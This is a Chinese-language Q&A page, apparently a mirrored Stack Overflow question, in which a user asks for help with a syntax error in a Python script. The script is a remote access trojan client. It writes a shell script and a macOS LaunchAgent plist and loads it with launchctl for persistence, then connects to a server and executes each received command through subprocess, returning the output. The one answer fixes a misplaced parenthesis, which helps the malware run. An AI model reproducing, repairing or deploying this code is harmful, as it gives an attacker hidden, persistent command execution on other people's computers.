繁体   English   中英

if 的问题 - Python3

[英]Problems with if - Python3

import socket
import subprocess
import os
p = os.path.dirname(os.path.abspath(__file__))
setsidrat = ("setsid python3 {p}\dada.py")
with open("systemfaster.sh", "w") as python_script_file:
    python_script_file.write(setsidrat)
l = f"""
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.example.exampled</string>
    <key>LaunchOnlyOnce</key>
        <true/>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>{p}\systemfaster.sh</string>

    </array>
</dict>
</plist>')
"""
with open("com.example.exampld.plist", "w") as python_script_file:
    python_script_file.write(l)
os.system("launchctl load Library/LaunchAgents/com.example.exampld.plist")
SERVER_HOST = "127.0.0.1"
SERVER_PORT = 2323
BUFFER_SIZE = "1024"
# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))
while True:
    # receive the command from the server
    command = int((s.recv(BUFFER_SIZE).decode())
    if command=="exit":
        break
    # execute the command and retrieve the results
    output = subprocess.getoutput(command)
    # send the results back to the server
    s.send(output.encode())
# close client connection
s.close()

这是接收命令并执行它的服务器客户端,但是,python 说if 41 行存在语法问题,我无法解决这个简单的问题,因为我知道是什么导致了它。 我也尝试删除它,它打印了下一行代码的语法错误。

这部分代码int((s.recv(BUFFER_SIZE).decode())使用了一个额外的括号。试试这个int(s.recv(BUFFER_SIZE).decode())代替。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM